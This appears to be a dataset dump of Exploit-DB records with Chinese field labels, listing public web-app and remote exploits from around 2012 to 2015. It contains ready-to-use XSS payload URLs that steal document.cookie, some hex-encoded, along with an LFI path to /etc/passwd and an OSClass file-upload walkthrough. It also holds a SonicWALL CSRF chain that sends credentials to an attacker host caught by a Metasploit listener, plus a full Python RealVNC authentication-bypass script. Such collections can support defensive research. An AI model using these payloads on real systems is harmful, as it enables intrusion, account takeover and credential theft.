QLWD/code_shield huggingface dataset:
标题: Synology Photo Station 5 DSM 3.2 - 'photo_one.php' Script Cross-Site Scripting EDB-ID: 36944 CVE: 2012-1556 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/52416/info

Synology Photo Station is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Photo Station 5 DSM 3.2 (1955) is vulnerable; other versions may also be affected. 

http://www.example.com/photo/photo_one.php?name=494d475f32303131303730395f3232343432362e6a7067&dir=6970686f6e65207068696c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%38%38%2c%38%33%2c%38%33%29%29%3c%2f%73%63%72%69%70%74%3e

http://www.example.com/photo/photo_one.php?name=494d475f32303131303730395f3232343432362e6a7067&dir=6970686f6e65207068696c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e%3c%61%20%68%72%65%66%3d%22 URL: https://www.exploit-db.com/exploits/36944
标题: Wikidforum 2.10 - Advanced Search Multiple Field SQL Injections EDB-ID: 36946 CVE: 2012-6520 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/52425/info

Wikidforum is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Wikidforum 2.10 is vulnerable; other versions may also be affected. 


Search-Field -> Advanced Search -> POST-Parameter 'select_sort' -> [sql-injection]
Search-Field -> Advanced Search -> POST-Parameter 'opt_search_select' -> [sql-injection] URL: https://www.exploit-db.com/exploits/36946
标题: Wikidforum 2.10 - Advanced Search Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36948 CVE: 2012-2099 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/52425/info
  
Wikidforum is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Wikidforum 2.10 is vulnerable; other versions may also be affected. 

Search-Field -> Advanced Search -> Author -> '"</script><script>alert(document.cookie)</script>
Search-Field -> Advanced Search -> POST-Parameter 'select_sort' -> ><iMg src=N onerror=alert(document.cookie)> URL: https://www.exploit-db.com/exploits/36948
标题: Dell SonicWALL Secure Remote Access (SRA) Appliance - Cross-Site Request Forgery EDB-ID: 36940 CVE: 2015-2248 类型: WEBAPPS 平台: CGI 发布日期: 2015-05-07 漏洞利用脚本: # Exploit Title: Dell SonicWALL Secure Remote Access (SRA) Appliance Cross-Site Request Forgery
# Date: 04/28/2015
# Exploit Author: Veit Hailperin
# Vendor Homepage: www.dell.com
# Version: Dell SonicWALL SRA 7.5 prior to 7.5.1.0-38sv and 8.0 prior to 8.0.0.1-16sv
# CVE : 2015-2248

Exploitation Procedure (Outline):
  1. Use CSRF to force currently logged in user to create a bookmark pointing to an endpoint controlled by the attacker.
  2. Use subsequent request to call the bookmark just created. The identifier of the bookmark can be bruteforced using a single decrementing integer and causes minimal time delay.
  3. Gather the credentials on the target server provided in step #1 
  
1. Create a bookmark:

<html>
  <body>
    <form action="https://vulnerable.vpn-installation.tld/cgi-bin/editBookmark" method="POST">
      <input type="hidden" name="bmName" value="foo" />
      <input type="hidden" name="host" value="www.malicious-host.tld" />
      <input type="hidden" name="description" value="bar" />
      <input type="hidden" name="tabs" value="Baz" />
      <input type="hidden" name="service" value="HTTP" />
      <input type="hidden" name="fbaSSOEnabled" value="on" />
      <input type="hidden" name="fbaSSOFormUserName" value="user" />
      <input type="hidden" name="fbaSSOFormUserPassword" value="password" />
      <input type="hidden" name="MC&#95;App" value="inherit" />
      <input type="hidden" name="MC&#95;Copy" value="inherit" />
      <input type="hidden" name="MC&#95;Print" value="inherit" />
      <input type="hidden" name="MC&#95;Offline" value="inherit" />
      <input type="hidden" name="name" value="name" />
      <input type="hidden" name="type" value="type" />
      <input type="hidden" name="owner" value="owner" />
      <input type="hidden" name="cmd" value="add" />
      <input type="hidden" name="wantBmData" value="true" />
      <input type="hidden" name="ok" value="OK" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2. Call the newly created bookmark
This might require some guesswork, because we don't know which value bookmarkAccessed needs to have.

<html>
  <body>
    <form action="https://vulnerable.vpn-installation.tld/cgi-bin/http">
      <input type="hidden" name="HOST" value="www.malicious-host.tld" />
      <input type="hidden" name="bookmarkAccessed" value="4" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

3. Set up a listener
E.g. metasploit payload 
use auxiliary/server/capture/http_basic

msf auxiliary(http_basic) > 
[*] Listening on 0.0.0.0:80...
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://www.malicious-host.tld:80/
[*] Server started.
[*] vulnerable.vpn-installation.tld    http_basic - Sending 401 to client vulnerable.vpn-installation.tld
[+] vulnerable.vpn-installation.tld    http_basic - vulnerable.vpn-installation.tld - Credential collected: "user:password" URL: https://www.exploit-db.com/exploits/36940
标题: RealVNC 4.1.0/4.1.1 - Authentication Bypass EDB-ID: 36932 CVE: 2006-2369 类型: REMOTE 平台: WINDOWS 发布日期: 2012-05-13 漏洞利用脚本: # Exploit Title: RealVNC 4.1.0 and 4.1.1 Authentication Bypass Exploit
# Date: 2012-05-13
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 4.1.0 and 4.1.1
# Tested on: Windows XP
# CVE: CVE-2006-2369 
# Requires vncviewer installed
# Basic port of hdmoore/msf2 perl version to python for fun and profit (ease of use)
import select
import thread
import os
import socket
import sys, re

BIND_ADDR = '127.0.0.1'
BIND_PORT = 4444

def pwn4ge(host, port):
 socket.setdefaulttimeout(5)
 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 try:
  server.connect((host, port))
 except socket.error, msg:
  print '[*] Could not connect to the target VNC service. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1] 
  sys.exit();
 else:
  hello = server.recv(12)
  print "[*] Hello From Server: " + hello
  if hello != "RFB 003.008\n":
   print "[*] The remote VNC service is not vulnerable"
   sys.exit()
  else:
   print "[*] The remote VNC service is vulnerable"
   listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   try:
    listener.bind((BIND_ADDR, BIND_PORT))
   except socket.error , msg:
    print '[*] Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()
   print "[*] Listener Socket Bind Complete"
   listener.listen(10)
   print "[*] Launching local vncviewer"
   thread.start_new_thread(os.system,('vncviewer ' + BIND_ADDR + '::' + str(BIND_PORT),))
   print "[*] Listener waiting for VNC connections on localhost"
   client, caddr = listener.accept()
   listener.close()
   client.send(hello)
   chello = client.recv(12)
   server.send(chello)
   methods = server.recv(2)
   print "[*] Auth Methods Recieved. Sending Null Authentication Option to Client"
   client.send("\x01\x01")
   client.recv(1)
   server.send("\x01")
   server.recv(4)
   client.send("\x00\x00\x00\x00")
   print "[*] Proxying data between the connections..."
   running = True
   while running:
    selected = select.select([client, server], [], [])[0]
    if client in selected:
     buf = client.recv(8192)
     if len(buf) == 0:
      running = False
     server.send(buf)
    if server in selected and running:
     buf = server.recv(8192)
     if len(buf) == 0:
      running = False
     client.send(buf)
    pass
   client.close()
  server.close()
 sys.exit()

def printUsage():
 print "[*] Read the source, Luke!"

def main():
 try:
  SERV_ADDR = sys.argv[1]
  SERV_PORT = sys.argv[2]
 except:
  SERV_ADDR = raw_input("[*] Please input an IP address to pwn: ")
  SERV_PORT = 5900
 try:
  socket.inet_aton(SERV_ADDR)
 except socket.error:
  printUsage()
 else:
  pwn4ge(SERV_ADDR, int(SERV_PORT))

if __name__ == "__main__":
 main() URL: https://www.exploit-db.com/exploits/36932
标题: Open Realty 2.5.x - 'select_users_template' Local File Inclusion EDB-ID: 36910 CVE: 2012-1112 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/52296/info

Open Realty is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Open Realty version 2.5.8 is vulnerable; other versions may also be affected. 

http://www.example.com/open-realty2.5.8/?select_users_template=../../../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/36910
标题: OSClass 2.3.x - Directory Traversal / Arbitrary File Upload EDB-ID: 36917 CVE: 2012-1617 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/52336/info

OSClass is prone to a directory-traversal vulnerability and an arbitrary-file-upload vulnerability.

An attacker can exploit these issues to obtain sensitive information and to upload arbitrary code and run it in the context of the webserver process.

OSClass 2.3.5 is vulnerable; prior versions may also be affected. 

Arbitrary File Upload Vulnerability:

1. Take a php file and rename it .gif (not really needed since OSClass trusts mime type)

2. Upload that file as picture for a new item and get its name (is 5_small.jpg)

3. Change useragent of your browser to: "Mozilla/4.0 (compatible; MSIE 5.0" . (needed to disable gzip encoding in combine.php)

4. Use combine.php to move itself to oc-content/uploads
http://www.example.com/osclass/oc-content/themes/modern/combine.php?type=./../../uploads/combine.php&files=combine.php
now we have a copy of combine.php placed into uploads dir (the same dir where our malicius php file has been uploaded)

5. Use uploads/combine.php to move 5_original.php to /remote.php
http://www.example.com/osclass/oc-content/uploads/combine.php?files=5_original.jpg&type=/../../remote.php


6. Run the uploaded php file
http://www.example.com/osclass/remote.php




Directory Traversal Vulnerability: 

It is possible to download and arbitrary file (ie config.php) under the www root.

1. Change useragent of your browser to: "Mozilla/4.0 (compatible; MSIE 5.0" . (needed to disable gzip encoding)

2. Move combine.php into web root
http://www.example.com/osclass/oc-content/themes/modern/combine.php?type=./../../../combine.php&files=combine.php

3. Run combine to download config.php
http://www.example.com/osclass/combine.php?files=config.php URL: https://www.exploit-db.com/exploits/36917
标题: Etano 1.20/1.22 - 'photo_search.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36899 CVE: 2012-1110 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/52295/info
 
Etano is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Etano versions 1.20 to 1.22 are vulnerable; other versions may be affected. 

http://www.example.com/etano/photo_search.php?&#039;";><script>alert(/XSS/)</script>

http://www.example.com/etano/photo_search.php?st=&#039;";><script>alert(/XSS/)</script> URL: https://www.exploit-db.com/exploits/36899
标题: Etano 1.20/1.22 - 'photo_view.php?return' Cross-Site Scripting EDB-ID: 36900 CVE: 2012-1110 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/52295/info
  
Etano is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  
Etano versions 1.20 to 1.22 are vulnerable; other versions may be affected. 

http://www.example.com/etano/photo_view.php?photo_id=1&return=";><script>alert(/XSS/)</script> URL: https://www.exploit-db.com/exploits/36900
标题: starCMS - 'q' URI Cross-Site Scripting EDB-ID: 36895 CVE: 2012-4998 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/52262/info

starCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?q=[Xss]&r=5&lang=de&actionsuche=yes URL: https://www.exploit-db.com/exploits/36895
标题: Dotclear 2.4.1.2 - '/admin/comments.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36890 CVE: 2012-1039 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/52221/info
  
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/comments.php?type=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/comments.php?sortby=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/comments.php?order=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/comments.php?status=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/36890
标题: Dotclear 2.4.1.2 - '/admin/plugin.php?page' Cross-Site Scripting EDB-ID: 36891 CVE: 2012-1039 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/52221/info
   
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
   
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/plugin.php?p=tags&m=tag_posts&tag=[TAG]&page=1%27%22%3E%3Cscript%3Ea lert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/36891
标题: Dotclear 2.4.1.2 - '/admin/auth.php?login_data' Cross-Site Scripting EDB-ID: 36888 CVE: 2012-1039 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/52221/info

Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected. 

&lt;form action=&quot;http://www.example.com/admin/auth.php&quot; method=&quot;post&quot;&gt;

&lt;input type=&quot;hidden&quot; name=&quot;new_pwd&quot; value=&quot;1&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;new_pwd_c&quot; value=&quot;2&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;login_data&quot; value=&#039;&quot;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;&#039; /&gt;
&lt;input type=&quot;submit&quot; id=&quot;btn&quot;&gt;
&lt;/form&gt; URL: https://www.exploit-db.com/exploits/36888
标题: Fork CMS 3.x - '/backend/modules/error/actions/index.php?parse()' Multiple Error Display Cross-Site Scripting Vulnerabilities EDB-ID: 36894 CVE: 2012-1188 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/52236/info
 
Fork CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Fork CMS versions prior to 3.2.7 are vulnerable. 

http://www.example.com/private/en/error?type=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/private/en/error?type=action-not-allowed&querystring=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E.1 URL: https://www.exploit-db.com/exploits/36894
标题: OSQA's CMS - Multiple HTML Injection Vulnerabilities EDB-ID: 36886 CVE: 2012-1782 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/52184/info

OSQA's CMS is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.

OSQA 3b is vulnerable; other versions may also be affected. 

http://www.example.com/questions/ask/ press url bar & put xss code <img src="<img src=search"/onerror=alert("xss")//">
http://www.example.com/questions/ask/ press picture bar & put xss code <img src="<img src=search"/onerror=alert("xss")//"> URL: https://www.exploit-db.com/exploits/36886
标题: Fork CMS 3.x - '/private/en/locale/index?name' Cross-Site Scripting EDB-ID: 36893 CVE: 2012-1188 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/52236/info

Fork CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Fork CMS versions prior to 3.2.7 are vulnerable. 

http://www.example.com/private/en/locale/index?name=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/36893
标题: Etano 1.20/1.22 - 'search.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36898 CVE: 2012-1110 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/52295/info

Etano is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Etano versions 1.20 to 1.22 are vulnerable; other versions may be affected. 

http://www.example.com/etano/search.php?&#039;";><script>alert(/XSS/)</script>

http://www.example.com/etano/search.php?st=&#039;";><script>alert(/XSS/)</script>

http://www.example.com/etano/search.php?f17_city=&#039;";><script>alert(/XSS/)</script>&f17_country=0&f17_state=0&f17_zip=3&f19=0&st=basic&wphoto=1

http://www.example.com/etano/search.php?f17_city=0&f17_country=&#039;";><script>alert(/XSS/)</script>&f17_state=0&f17_zip=3&f19=0&st=basic&wphoto=1

http://www.example.com/etano/search.php?f17_city=0&f17_country=0&f17_state=&#039;";><script>alert(/XSS/)</script>&f17_zip=3&f19=0&st=basic&wphoto=1

http://www.example.com/etano/search.php?f17_city=0&f17_country=0&f17_state=0&f17_zip=&#039;";><script>alert(/XSS/)</script>&f19=0&st=basic&wphoto=1

http://www.example.com/etano/search.php?f17_city=0&f17_country=0&f17_state=0&f17_zip=3&f19=&#039;";><script>alert(/XSS/)</script>&st=basic&wphoto=1

http://www.example.com/etano/search.php?f17_city=0&f17_country=0&f17_state=0&f17_zip=3&f19=0&st=&#039;";><script>alert(/XSS/)</script>&wphoto=1

http://www.example.com/etano/search.php?f17_city=0&f17_country=0&f17_state=0&f17_zip=3&f19=0&st=basic&wphoto=&#039;";><script>alert(/XSS/)</script>

http://www.example.com/etano/search.php?search=&#039;";><script>alert(/XSS/)</script>&v=g

http://www.example.com/etano/search.php?search=51d43831f5dde83a4eedb23895f165f6&v=&#039;";><script>alert(/XSS/)</script>

http://www.example.com/etano/search.php?st=xss";><script>alert(/XSS/)</script>&user=unknown URL: https://www.exploit-db.com/exploits/36898
标题: Dotclear 2.4.1.2 - '/admin/blogs.php?nb' Cross-Site Scripting EDB-ID: 36889 CVE: 2012-1039 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/52221/info
 
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/blogs.php?nb=5%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/36889